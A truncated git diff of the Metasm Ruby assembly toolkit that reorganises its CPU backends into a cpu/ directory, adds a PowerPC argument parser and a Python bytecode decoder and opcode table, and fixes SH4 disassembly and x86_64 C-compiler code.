@@ -89,13 +94,13 @@ class PowerPC < CPU b = @base.symbolic b = nil if b == :r0 # XXX is it true ? o = @offset - o = o.symbolic if o.kind_of? Reg + o = o.symbolic if o.kind_of?(Reg) Indirection[Expression[b, :+, o].reduce, 4, orig] end include Renderable def render - if @offset.kind_of? Reg + if @offset.kind_of?(Reg) ['(', @base, ' + ', @offset, ')'] else [@offset, '(', @base, ')'] diff --git a/lib/metasm/metasm/ppc/opcodes.rb b/lib/metasm/metasm/cpu/ppc/opcodes.rb similarity index 97% rename from lib/metasm/metasm/ppc/opcodes.rb rename to lib/metasm/metasm/cpu/ppc/opcodes.rb index da5396b762..1e03e77b9e 100644 --- a/lib/metasm/metasm/ppc/opcodes.rb +++ b/lib/metasm/metasm/cpu/ppc/opcodes.rb @@ -4,14 +4,17 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ppc/main' +require 'metasm/cpu/ppc/main' module Metasm class PowerPC def addop(name, bin, *argprops) - o = Opcode.new name, bin - o.args.concat(argprops & @fields_mask.keys) - (argprops & @valid_props).each { |p| o.props[p] = true } + o = Opcode.new name, bin + argprops.each { |a| + o.args << a if @valid_args[a] + o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] + o.props[a] = true if @valid_props[a] + } @opcode_list << o end @@ -113,6 +116,9 @@ class PowerPC :tbr => 0x3FF, :th => 15, :to => 31, :u => 15, :ui => 0xFFFF, :ign_bo_zzz => 0b101111111, :ign_bo_z => 1, :ign_bo_at => 3, :ign_bo_at2 => 0b100111111 + @valid_args = @fields_mask.dup + [:ign_bo_zzz, :ign_bo_z, :ign_bo_at, :ign_bo_at2, :aa, :lk, :oe, :rc, :l].each { |k| @valid_args.delete k } + @fields_shift[:ra_i16] = @fields_shift[:ra_i16s] = @fields_shift[:ra_i16q] = 0 @fields_mask[:ra_i16] = (@fields_mask[:d] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra]) @fields_mask[:ra_i16s] = (@fields_mask[:ds] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra]) @@ -123,7 +129,7 @@ class PowerPC addop_branchcond 'b', 0x40000000, :bd addop_branchcond 'b', 0x4C000020, :lr addop_branchcond 'b', 0x4C000420, :ctr - + addop 'sc', 0x44000002, :lev addop 'crand', 0x4C000202, :bt, :ba, :bb addop 'crxor', 0x4C000182, :bt, :ba, :bb diff --git a/lib/metasm/metasm/cpu/ppc/parse.rb b/lib/metasm/metasm/cpu/ppc/parse.rb new file mode 100644 index 0000000000..e534a79c31 --- /dev/null +++ b/lib/metasm/metasm/cpu/ppc/parse.rb @@ -0,0 +1,55 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ppc/opcodes' +require 'metasm/parse' + +module Metasm +class PowerPC +# TODO + def parse_arg_valid?(op, sym, arg) + case sym + when :ra, :rb, :rs, :rt; arg.kind_of?(GPR) + when :fra, :frb, :frc, :frs, :frt; arg.kind_of?(FPR) + when :ra_i16, :ra_i16s, :ra_i16q; arg.kind_of?(Memref) + when :bd, :d, :ds, :dq, :si, :ui, :li, :sh, :mb, :me, :mb_, :me_, :u; arg.kind_of?(Expression) + when :ba, :bf, :bfa, :bt; arg.kind_of?(CR) + when :ign_bo_zzz, :ign_bo_z, :ign_bo_at, :ign_bo_at2, :aa, :lk, :oe, :rc, :l; # ? + when :bb, :bh, :flm, :fxm, :l_, :l__, :lev, :nb, :sh_, :spr, :sr, :tbr, :th, :to + # TODO + else raise "internal error: mips arg #{sym.inspect}" + end + end + + def parse_argument(pgm) + pgm.skip_space + return if not tok = pgm.readtok + if tok.type == :string + return GPR.new(GPR.s_to_i[tok.raw]) if GPR.s_to_i[tok.raw] + return SPR.new(SPR.s_to_i[tok.raw]) if SPR.s_to_i[tok.raw] + return FPR.new(FPR.s_to_i[tok.raw]) if FPR.s_to_i[tok.raw] + return CR.new(CR.s_to_i[tok.raw]) if CR.s_to_i[tok.raw] + return MSR.new if tok.raw == 'msr' + end + pgm.unreadtok tok + arg = Expression.parse pgm + pgm.skip_space + # check memory indirection: 'off(base reg)' # XXX scaled index ? + if arg and pgm.nexttok and pgm.nexttok.type == :punct and pgm.nexttok.raw == '(' + pgm.readtok + pgm.skip_space_eol + ntok = pgm.readtok + raise tok, "Invalid base #{ntok}" unless ntok and ntok.type == :string and GPR.s_to_i[ntok.raw] + base = GPR.new GPR.s_to_i[ntok.raw] + pgm.skip_space_eol + ntok = pgm.readtok + raise tok, "Invalid memory reference, ')' expected" if not ntok or ntok.type != :punct or ntok.raw != ')' + arg = Memref.new base, arg + end + arg + end +end +end diff --git a/lib/metasm/metasm/cpu/python.rb b/lib/metasm/metasm/cpu/python.rb new file mode 100644 index 0000000000..9ef1a00da4 --- /dev/null +++ b/lib/metasm/metasm/cpu/python.rb @@ -0,0 +1,8 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/python/decode' diff --git a/lib/metasm/metasm/cpu/python/decode.rb b/lib/metasm/metasm/cpu/python/decode.rb new file mode 100644 index 0000000000..12bd7a2e0d --- /dev/null +++ b/lib/metasm/metasm/cpu/python/decode.rb @@ -0,0 +1,136 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/python/opcodes' +require 'metasm/decode' + +module Metasm +class Python + def build_bin_lookaside + opcode_list.inject({}) { |la, op| la.update op.bin => op } + end + + def decode_findopcode(edata) + di = DecodedInstruction.new(self) + + byte = edata.decode_imm(:u8, :little) + + di if di.opcode = @bin_lookaside[byte] + end + + def decode_instr_op(edata, di) + di.bin_length = 1 + + di.instruction.opname = di.opcode.name + + di.opcode.args.each { |a| + case a + when :cmp + di.bin_length += 2 + v = edata.decode_imm(:i16, @endianness) + di.instruction.args << (CMP_OP[v] || Expression[v]) + when :i16 + di.bin_length += 2 + di.instruction.args << Expression[edata.decode_imm(:i16, @endianness)] + when :u8 + di.bin_length += 1 + di.instruction.args << Expression[edata.decode_imm(:u8, @endianness)] + else + raise "unsupported arg #{a.inspect}" + end + } + + return if edata.ptr > edata.length + + di + end + + def decode_instr_interpret(di, addr) + case di.opcode.name + when 'LOAD_CONST' + if c = prog_code(addr) + cst = c[:consts][di.instruction.args.first.reduce] + if cst.kind_of? Hash and cst[:type] == :code + di.add_comment "lambda #{Expression[cst[:fileoff]]}" + else + di.add_comment cst.inspect + end + end + when 'LOAD_NAME', 'LOAD_ATTR', 'LOAD_GLOBAL', 'STORE_NAME', 'IMPORT_NAME', 'LOAD_FAST' + if c = prog_code(addr) + di.add_comment c[:names][di.instruction.args.first.reduce].inspect + end + end + di + end + + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + + def init_backtrace_binding + @backtrace_binding ||= {} + + opcode_list.each { |op| + binding = case op + when 'nop'; lambda { |*a| {} } + end + @backtrace_binding[op] ||= binding if binding + } + + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Var; arg.symbolic + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + { :incomplete_binding => Expression[1] } + end + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + arg = case di.opcode.name + when 'JUMP_FORWARD', 'FOR_ITER' + # relative offset + di.instruction.args.last.reduce + di.next_addr + when 'CALL_FUNCTION_VAR' + 'lol' + when /CALL/ + :unknown + else + # absolute offset from :code start + off = di.instruction.args.last.reduce + if c = prog_code(di) + off += c[:fileoff] + end + off + end + + [Expression[(arg.kind_of?(Var) ? arg.symbolic : arg)]] + end + + def prog_code(addr) + addr = addr.address if addr.kind_of? DecodedInstruction + @last_prog_code ||= nil + return @last_prog_code if @last_prog_code and @last_prog_code[:fileoff] <= addr and @last_prog_code[:fileoff] + @last_prog_code[:code].length > addr + @last_prog_code = @program.code_at_off(addr) if @program + end + + def backtrace_is_function_return(expr, di=nil) + #Expression[expr].reduce == Expression['wtf'] + end +end +end diff --git a/lib/metasm/metasm/cpu/python/main.rb b/lib/metasm/metasm/cpu/python/main.rb new file mode 100644 index 0000000000..f5918a4233 --- /dev/null +++ b/lib/metasm/metasm/cpu/python/main.rb @@ -0,0 +1,36 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/main' + +module Metasm +class Python < CPU + def initialize(prog = nil) + super() + @program = prog + @endianness = (prog.respond_to?(:endianness) ? prog.endianness : :little) + @size = (prog.respond_to?(:size) ? prog.size : 32) + end + + class Var + include Renderable + + attr_accessor :i + + def initialize(i); @i = i end + + def ==(o) + o.class == self.class and o.i == i + end + + def symbolic; "var_#{@i}".to_sym end + + def render + ["var_#@i"] + end + + end +end +end diff --git a/lib/metasm/metasm/cpu/python/opcodes.rb b/lib/metasm/metasm/cpu/python/opcodes.rb new file mode 100644 index 0000000000..1e55d2fb95 --- /dev/null +++ b/lib/metasm/metasm/cpu/python/opcodes.rb @@ -0,0 +1,180 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/python/main' + +module Metasm +class Python + CMP_OP = %w[< <= == != > >= in not_in is is_not exch] + + def addop(name, bin, *args) + o = Opcode.new(name) + o.bin = bin + + args.each { |a| + o.args << a if @valid_args[a] + o.props[a] = true if @valid_props[a] + } + o.args << :i16 if o.bin >= 90 and o.props.empty? # HAVE_ARGUMENT + + @opcode_list << o + end + + def init_opcode_list + @opcode_list = [] + + @valid_args[:u8] = true + @valid_args[:i16] = true + @valid_args[:cmp] = true + + addop 'STOP_CODE', 0, :stopexec + addop 'POP_TOP', 1 + addop 'ROT_TWO', 2 + addop 'ROT_THREE', 3 + addop 'DUP_TOP', 4 + addop 'ROT_FOUR', 5 + addop 'NOP', 9 + + addop 'UNARY_POSITIVE', 10 + addop 'UNARY_NEGATIVE', 11 + addop 'UNARY_NOT', 12 + addop 'UNARY_CONVERT', 13 + + addop 'UNARY_INVERT', 15 + + addop 'BINARY_POWER', 19 + + addop 'BINARY_MULTIPLY', 20 + addop 'BINARY_DIVIDE', 21 + addop 'BINARY_MODULO', 22 + addop 'BINARY_ADD', 23 + addop 'BINARY_SUBTRACT', 24 + addop 'BINARY_SUBSCR', 25 + addop 'BINARY_FLOOR_DIVIDE', 26 + addop 'BINARY_TRUE_DIVIDE', 27 + addop 'INPLACE_FLOOR_DIVIDE', 28 + addop 'INPLACE_TRUE_DIVIDE', 29 + + addop 'SLICE', 30 + addop 'SLICE_1', 31 + addop 'SLICE_2', 32 + addop 'SLICE_3', 33 + + addop 'STORE_SLICE', 40 + addop 'STORE_SLICE_1', 41 + addop 'STORE_SLICE_2', 42 + addop 'STORE_SLICE_3', 43 + + addop 'DELETE_SLICE', 50 + addop 'DELETE_SLICE_1', 51 + addop 'DELETE_SLICE_2', 52 + addop 'DELETE_SLICE_3', 53 + + addop 'STORE_MAP', 54 + addop 'INPLACE_ADD', 55 + addop 'INPLACE_SUBTRACT', 56 + addop 'INPLACE_MULTIPLY', 57 + addop 'INPLACE_DIVIDE', 58 + addop 'INPLACE_MODULO', 59 + addop 'STORE_SUBSCR', 60 + addop 'DELETE_SUBSCR', 61 + + addop 'BINARY_LSHIFT', 62 + addop 'BINARY_RSHIFT', 63 + addop 'BINARY_AND', 64 + addop 'BINARY_XOR', 65 + addop 'BINARY_OR', 66 + addop 'INPLACE_POWER', 67 + addop 'GET_ITER', 68 + + addop 'PRINT_EXPR', 70 + addop 'PRINT_ITEM', 71 + addop 'PRINT_NEWLINE', 72 + addop 'PRINT_ITEM_TO', 73 + addop 'PRINT_NEWLINE_TO', 74 + addop 'INPLACE_LSHIFT', 75 + addop 'INPLACE_RSHIFT', 76 + addop 'INPLACE_AND', 77 + addop 'INPLACE_XOR', 78 + addop 'INPLACE_OR', 79 + addop 'BREAK_LOOP', 80 + addop 'WITH_CLEANUP', 81 + addop 'LOAD_LOCALS', 82 + addop 'RETURN_VALUE', 83 + addop 'IMPORT_STAR', 84 + addop 'EXEC_STMT', 85 + addop 'YIELD_VALUE', 86 + addop 'POP_BLOCK', 87 + addop 'END_FINALLY', 88 + addop 'BUILD_CLASS', 89 + + #addop 'HAVE_ARGUMENT', 90 #/* Opcodes from here have an argument: */ + + addop 'STORE_NAME', 90 #/* Index in name list */ + addop 'DELETE_NAME', 91 #/* "" */ + addop 'UNPACK_SEQUENCE', 92 #/* Number of sequence items */ + addop 'FOR_ITER', 93, :setip + addop 'LIST_APPEND', 94 + + addop 'STORE_ATTR', 95 #/* Index in name list */ + addop 'DELETE_ATTR', 96 #/* "" */ + addop 'STORE_GLOBAL', 97 #/* "" */ + addop 'DELETE_GLOBAL', 98 #/* "" */ + addop 'DUP_TOPX', 99 #/* number of items to duplicate */ + addop 'LOAD_CONST', 100 #/* Index in const list */ + addop 'LOAD_NAME', 101 #/* Index in name list */ + addop 'BUILD_TUPLE', 102 #/* Number of tuple items */ + addop 'BUILD_LIST', 103 #/* Number of list items */ + addop 'BUILD_SET', 104 #/* Number of set items */ + addop 'BUILD_MAP', 105 #/* Always zero for now */ + addop 'LOAD_ATTR', 106 #/* Index in name list */ + addop 'COMPARE_OP', 107, :cmp #/* Comparison operator */ + addop 'IMPORT_NAME', 108 #/* Index in name list */ + addop 'IMPORT_FROM', 109 #/* Index in name list */ + addop 'JUMP_FORWARD', 110, :setip, :stopexec #/* Number of bytes to skip */ + + addop 'JUMP_IF_FALSE_OR_POP', 111, :setip #/* Target byte offset from beginning of code */ + addop 'JUMP_IF_TRUE_OR_POP', 112, :setip #/* "" */ + addop 'JUMP_ABSOLUTE', 113, :setip, :stopexec #/* "" */ + addop 'POP_JUMP_IF_FALSE', 114, :setip #/* "" */ + addop 'POP_JUMP_IF_TRUE', 115, :setip #/* "" */ + + addop 'LOAD_GLOBAL', 116 #/* Index in name list */ + + addop 'CONTINUE_LOOP', 119 #/* Start of loop (absolute) */ + addop 'SETUP_LOOP', 120 #/* Target address (relative) */ + addop 'SETUP_EXCEPT', 121 #/* "" */ + addop 'SETUP_FINALLY', 122 #/* "" */ + + addop 'LOAD_FAST', 124 #/* Local variable number */ + addop 'STORE_FAST', 125 #/* Local variable number */ + addop 'DELETE_FAST', 126 #/* Local variable number */ + + addop 'RAISE_VARARGS', 130 #/* Number of raise arguments (1, 2 or 3) */ + #/* CALL_FUNCTION_XXX opcodes defined below depend on this definition */ + addop 'CALL_FUNCTION', 131, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ + addop 'MAKE_FUNCTION', 132 #/* #defaults */ + addop 'BUILD_SLICE', 133 #/* Number of items */ + + addop 'MAKE_CLOSURE', 134 #/* #free vars */ + addop 'LOAD_CLOSURE', 135 #/* Load free variable from closure */ + addop 'LOAD_DEREF', 136 #/* Load and dereference from closure cell */ + addop 'STORE_DEREF', 137 #/* Store into cell */ + + #/* The next 3 opcodes must be contiguous and satisfy (CALL_FUNCTION_VAR - CALL_FUNCTION) & 3 == 1 */ + addop 'CALL_FUNCTION_VAR', 140, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ + addop 'CALL_FUNCTION_KW', 141, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ + addop 'CALL_FUNCTION_VAR_KW', 142, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ + + addop 'SETUP_WITH', 143 + + #/* Support for opargs more than 16 bits long */ + addop 'EXTENDED_ARG', 145 + + addop 'SET_ADD', 146 + addop 'MAP_ADD', 147 + end +end +end diff --git a/lib/metasm/metasm/sh4.rb b/lib/metasm/metasm/cpu/sh4.rb similarity index 86% rename from lib/metasm/metasm/sh4.rb rename to lib/metasm/metasm/cpu/sh4.rb index 70f7307189..4be5b1fa2d 100644 --- a/lib/metasm/metasm/sh4.rb +++ b/lib/metasm/metasm/cpu/sh4.rb @@ -5,4 +5,4 @@ require 'metasm/main' -require 'metasm/sh4/decode' +require 'metasm/cpu/sh4/decode' diff --git a/lib/metasm/metasm/sh4/decode.rb b/lib/metasm/metasm/cpu/sh4/decode.rb similarity index 85% rename from lib/metasm/metasm/sh4/decode.rb rename to lib/metasm/metasm/cpu/sh4/decode.rb index 75f6196e68..30c653ca14 100644 --- a/lib/metasm/metasm/sh4/decode.rb +++ b/lib/metasm/metasm/cpu/sh4/decode.rb @@ -3,7 +3,7 @@ # # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/sh4/opcodes' +require 'metasm/cpu/sh4/opcodes' require 'metasm/decode' module Metasm @@ -39,8 +39,6 @@ class Sh4 end def decode_findopcode(edata) - return if edata.ptr >= edata.data.length - di = DecodedInstruction.new(self) val = edata.decode_imm(:u16, @endianness) edata.ptr -= 2 @@ -110,7 +108,6 @@ class Sh4 when :pr; PR.new when :fpul; FPUL.new when :fpscr; FPSCR.new - when :dbr; DBR.new when :pc; PC.new when :@rm, :@rn, :@disppc @@ -137,25 +134,49 @@ class Sh4 } di.bin_length += edata.ptr - before_ptr + + return if edata.ptr > edata.length + di end def disassembler_default_func df = DecodedFunction.new df.backtrace_binding = {} - 15.times { |i| df.backtrace_binding["r#{i}".to_sym] = Expression::Unknown } + (0..7 ).each { |i| r = "r#{i}".to_sym ; df.backtrace_binding[r] = Expression::Unknown } + (8..15).each { |i| r = "r#{i}".to_sym ; df.backtrace_binding[r] = Expression[r] } df.backtracked_for = [BacktraceTrace.new(Expression[:pr], :default, Expression[:pr], :x)] df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| if funcaddr != :default btfor elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] btfor - else [] + else + [] end } df end + def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) + retaddrlist.map! { |retaddr| dasm.decoded[retaddr] ? dasm.decoded[retaddr].block.list.last.address : retaddr } if retaddrlist + b = f.backtrace_binding + + bt_val = lambda { |r| + next if not retaddrlist + bt = [] + b[r] = Expression::Unknown # break recursive dep + retaddrlist.each { |retaddr| + bt |= dasm.backtrace(Expression[r], retaddr, + :include_start => true, :snapshot_addr => faddr, :origin => retaddr) + } + b[r] = ((bt.length == 1) ? bt.first : Expression::Unknown) + } + wantregs = GPR::Sym if wantregs.empty? + wantregs.map { |r| r.to_sym }.each(&bt_val) + end + + # interprets a condition code (in an opcode name) as an expression def decode_cmp_expr(di, a0, a1) case di.opcode.name @@ -197,6 +218,7 @@ class Sh4 when 'stc.w', 'stc.b', 'mov.w', 'mov.b' lambda { |di, a0, a1| { a1 => Expression[a0, :&, mask[di]] }} when 'movt'; lambda { |di, a0| { a0 => :t_bit }} + when 'mova'; lambda { |di, a0, a1| { a1 => Expression[a0] }} when 'exts.b', 'exts.w', 'extu.w' lambda { |di, a0, a1| { a1 => Expression[a0, :&, mask[di]] }} when 'cmp/eq', 'cmp/ge', 'cmp/ge', 'cmp/gt', 'cmp/hi', 'cmp/hs' @@ -212,12 +234,12 @@ class Sh4 when 'clrt'; lambda { |di| { :t_bit => 0 }} when 'clrmac'; lambda { |di| { :macl => 0, :mach => 0 }} when 'jmp'; lambda { |di, a0| { :pc => a0 }} - when 'jsr'; lambda { |di, a0| { :pc => Expression[a0], :pr => Expression[di.address+2*2] }} + when 'jsr', 'bsr', 'bsrf'; lambda { |di, a0| { :pc => Expression[a0], :pr => Expression[di.address, :+, 2*2] }} when 'dt'; lambda { |di, a0| res = Expression[a0, :-, 1] { :a0 => res, :t_bit => Expression[res, :==, 0] } } - when 'add' ; lambda { |di, a0, a1| { a1 => Expression[a0, :+, a1] }} + when 'add' ; lambda { |di, a0, a1| { a1 => Expression[[a0, :+, a1], :&, 0xffff_ffff] }} when 'addc' ; lambda { |di, a0, a1| res = Expression[[a0, :&, mask[di]], :+, [[a1, :&, mask[di]], :+, :t_bit]] { a1 => Expression[a0, :+, [a1, :+, :t_bit]], :t_bit => Expression[res, :>, mask[di]] } @@ -252,17 +274,16 @@ class Sh4 shift_bit = Expression[a0, :&, 1] { a0 => Expression[a0, :>>, 1], :t_bit => shift_bit } } - when 'sub'; lambda { |di, a0, a1| { a1 => Expression[a0, :-, a1] }} - when 'subc'; lambda { |di, a0, a1| { a1 => Expression[a0, :-, [a1, :-, :t_bit]] }} + when 'sub'; lambda { |di, a0, a1| { a1 => Expression[[a1, :-, a0], :&, 0xffff_ffff] }} + when 'subc'; lambda { |di, a0, a1| { a1 => Expression[a1, :-, [a0, :-, :t_bit]] }} when 'and', 'and.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :&, mask[di]], :|, [[a1, :&, mask[di]]]] }} when 'or', 'or.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :|, mask[di]], :|, [[a1, :&, mask[di]]]] }} when 'xor', 'xor.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :|, mask[di]], :^, [[a1, :&, mask[di]]]] }} - when 'add', 'addc', 'addv'; lambda { |di, a0, a1| { a1 => Expression[a0, :+, a1] }} when 'neg' ; lambda { |di, a0, a1| { a1 => Expression[mask[di], :-, a0] }} when 'negc' ; lambda { |di, a0, a1| { a1 => Expression[[[mask[di], :-, a0], :-, :t_bit], :&, mask[di]] }} when 'not'; lambda { |di, a0, a1| { a1 => Expression[a0, :^, mask[di]] }} - when 'nop'; lambda { {} } - when /^b/; lambda { {} } # branches + when 'nop'; lambda { |*a| {} } + when /^b/; lambda { |*a| {} } # branches end } @@ -283,12 +304,15 @@ class Sh4 if binding = backtrace_binding[di.opcode.basename] bd = binding[di, *a] || {} di.instruction.args.grep(Memref).each { |m| - if m.post - # TODO preincrement/postdecrement - bd.each { |k, v| bd[k] = v.bind(r => Expression[r, :+, 1]) } - bd[r] ||= Expression[r, :+, 1] + next unless r = m.base and r.kind_of?(GPR) + r = r.symbolic + case m.action + when :post + bd[r] ||= Expression[r, :+, di.opcode.props[:memsz]/8] + when :pre + bd[r] ||= Expression[r, :-, di.opcode.props[:memsz]/8] end - } if false + } bd else puts "unhandled instruction to backtrace: #{di}" if $VERBOSE @@ -310,6 +334,11 @@ class Sh4 else val end + val = case di.instruction.opname + when 'braf', 'bsrf'; Expression[[di.address, :+, 4], :+, val] + else val + end + [Expression[val]] end diff --git a/lib/metasm/metasm/sh4/main.rb b/lib/metasm/metasm/cpu/sh4/main.rb similarity index 93% rename from lib/metasm/metasm/sh4/main.rb rename to lib/metasm/metasm/cpu/sh4/main.rb index 861cae89e4..46ee31b242 100644 --- a/lib/metasm/metasm/sh4/main.rb +++ b/lib/metasm/metasm/cpu/sh4/main.rb @@ -257,6 +257,8 @@ class Sh4 < CPU b = @base b = b.symbolic if b.kind_of? Reg + b = Expression[b, :-, sz/8] if @action == :pre + if disp o = @disp o = o.symbolic if o.kind_of? Reg @@ -272,12 +274,16 @@ class Sh4 < CPU def render if @disp - ['@(', @base, ',', @disp, ')'] + #['@(', @base, ',', @disp, ')'] + ['[', @base, '+', @disp, ']'] else case @action - when :pre then ['@-', @base] - when :post then ['@', @base, '+'] - else ['@', @base] + when :pre then ['[--', @base, ']'] + when :post then ['[', @base, '++]'] + else ['[', @base, ']'] + #when :pre then ['@-', @base] + #when :post then ['@', @base, '+'] + #else ['@', @base] end end end @@ -288,5 +294,8 @@ class Sh4 < CPU init end + def dbg_register_list + @dbg_register_list ||= GPR::Sym + end end end diff --git a/lib/metasm/metasm/sh4/opcodes.rb b/lib/metasm/metasm/cpu/sh4/opcodes.rb similarity index 98% rename from lib/metasm/metasm/sh4/opcodes.rb rename to lib/metasm/metasm/cpu/sh4/opcodes.rb index 8cc248a1b6..6b4913b49d 100644 --- a/lib/metasm/metasm/sh4/opcodes.rb +++ b/lib/metasm/metasm/cpu/sh4/opcodes.rb @@ -3,18 +3,17 @@ # # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/sh4/main' +require 'metasm/cpu/sh4/main' module Metasm class Sh4 def addop(name, bin, *args) o = Opcode.new name, bin - o.args.concat(args & @fields_mask.keys) - (args & @valid_props).each { |p| o.props[p] = true } - - (args & @fields_mask.keys).each { |f| - o.fields[f] = [@fields_mask[f], @fields_shift[f]] + args.each { |a| + o.args << a if @fields_mask[a] + o.props[a] = true if @valid_props[a] + o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] } @opcode_list << o @@ -74,7 +73,7 @@ class Sh4 # implicit operands [:vbr, :gbr, :sr, :ssr, :spc, :sgr, :dbr, :mach, :macl, :pr, :fpul, :fpscr, :dbr, :pc, :r0].each { |a| @fields_mask[a] = @fields_shift[a] = 0 } - @valid_props = [:setip, :saveip, :stopexec , :delay_slot] + @valid_props[:delay_slot] = true addop 'add', 0b0011 << 12 | 0b1100, :rm, :rn addop 'add', 0b0111 << 12, :s8, :rn @@ -275,7 +274,7 @@ class Sh4 addop 'mov.w', 0b10000101 << 8, :@disprm, :r0 addop 'mova', 0b11000111 << 8, :disppc, :r0 # calculates an effective address using PC-relative with displacement addressing - addop 'movca.l', 0b0000 << 12 | 11000011, :r0, :@rn # stores the long-word in R0 to memory at the effective address specified in Rn. + addop 'movca.l', 0b0000 << 12 | 11000011, :r0, :@rn # stores the long-word in R0 to memory at the effective address specified in Rn. addop 'movt', 0b0000 << 12 | 0b00101001, :rn # copies the T-bit to Rn diff --git a/lib/metasm/metasm/cpu/x86_64.rb b/lib/metasm/metasm/cpu/x86_64.rb new file mode 100644 index 0000000000..19fc3fce1e --- /dev/null +++ b/lib/metasm/metasm/cpu/x86_64.rb @@ -0,0 +1,15 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +class Metasm::X86_64 < Metasm::Ia32 +end + +require 'metasm/main' +require 'metasm/cpu/x86_64/parse' +require 'metasm/cpu/x86_64/encode' +require 'metasm/cpu/x86_64/decode' +require 'metasm/cpu/x86_64/render' +require 'metasm/cpu/x86_64/debug' +require 'metasm/cpu/x86_64/compile_c' diff --git a/lib/metasm/metasm/x86_64/compile_c.rb b/lib/metasm/metasm/cpu/x86_64/compile_c.rb similarity index 96% rename from lib/metasm/metasm/x86_64/compile_c.rb rename to lib/metasm/metasm/cpu/x86_64/compile_c.rb index 4832b0349a..a8581ba7a7 100644 --- a/lib/metasm/metasm/x86_64/compile_c.rb +++ b/lib/metasm/metasm/cpu/x86_64/compile_c.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/x86_64/parse' +require 'metasm/cpu/x86_64/parse' require 'metasm/compile_c' module Metasm @@ -222,11 +222,11 @@ class CCompiler < C::Compiler if e2.sz == 64 and e.sz == 32 if op == 'movsx' instr 'movsxd', e2, e - else + else instr 'mov', Reg.new(e2.val, 32), e - end + end else - instr op, e2, e + instr op, e2, e end else e2 = inuse findreg(sz) @@ -236,7 +236,7 @@ class CCompiler < C::Compiler e2 elsif type.float? raise 'float unhandled' - else raise + else raise "cannot cast #{e} to #{type}" end elsif e.kind_of? Address make_volatile resolve_address(e), type, rsz @@ -247,6 +247,7 @@ class CCompiler < C::Compiler e2 elsif type.float? raise 'float unhandled' + else raise "cannot cast #{e} to #{type}" end else e @@ -262,7 +263,7 @@ class CCompiler < C::Compiler elsif i >= (1<<64)-0x8000_0000 v = Expression[Expression.make_signed(i, 64)] else - v = make_volatile(v) + v = make_volatile(v, C::BaseType.new(:int)) unuse v end end @@ -412,12 +413,11 @@ class CCompiler < C::Compiler instr 'mov', Reg.new(reg.val, 32), r end else - instr op, reg, r + instr op, reg, r end r = reg end end - else raise end r end @@ -512,6 +512,7 @@ class CCompiler < C::Compiler end when :- r = c_cexpr_inner(expr.rexpr) + r = resolve_address r if r.kind_of? Address if r.kind_of? Expression unuse l, r l = Address.new(l.modrm.dup) @@ -574,6 +575,13 @@ class CCompiler < C::Compiler else instr 'mov', l, Reg.new(r.val, l.sz) end + elsif l.kind_of? ModRM and r.kind_of? Expression and l.sz == 64 + rval = r.reduce + if !rval.kind_of?(Integer) or rval > 0xffff_ffff or rval < -0x8000_0000 + r = make_volatile(r, expr.type) + unuse r + end + instr 'mov', l, r else instr 'mov', l, r end @@ -611,13 +619,12 @@ class CCompiler < C::Compiler ft = ft.pointed if ft.pointer? ft = nil if not ft.kind_of? C::Function - arglist = expr.rexpr.dup regargsmask = @state.regargs.dup if ft ft.args.each_with_index { |a, i| if rn = a.has_attribute_var('register') regargsmask.insert(i, Reg.from_str(rn).val) - end + end } end regargsmask = regargsmask[0, expr.rexpr.length] @@ -639,8 +646,8 @@ class CCompiler < C::Compiler stackargs = expr.rexpr.zip(regargsmask).map { |a, r| a if not r }.compact # preserve 16byte stack align under windows - stackalign = true if (stackargs + backup).length & 1 == 1 - instr 'push', rax if stackalign + stackalign = true if @state.args_space > 0 and (stackargs + backup).length & 1 == 1 + instr 'sub', Reg.new(4, @cpusz), Expression[8] if stackalign stackargs.reverse_each { |arg| raise 'arg unhandled' if not arg.type.integral? or arg.type.pointer? @@ -652,7 +659,7 @@ class CCompiler < C::Compiler } regargs_unuse = [] - regargsmask.zip(expr.rexpr).each { |ra, arg| + regargsmask.zip(expr.rexpr).reverse_each { |ra, arg| next if not arg or not ra a = c_cexpr_inner(arg) a = resolve_address a if a.kind_of? Address @@ -666,9 +673,9 @@ class CCompiler < C::Compiler if ft.kind_of? C::Function and 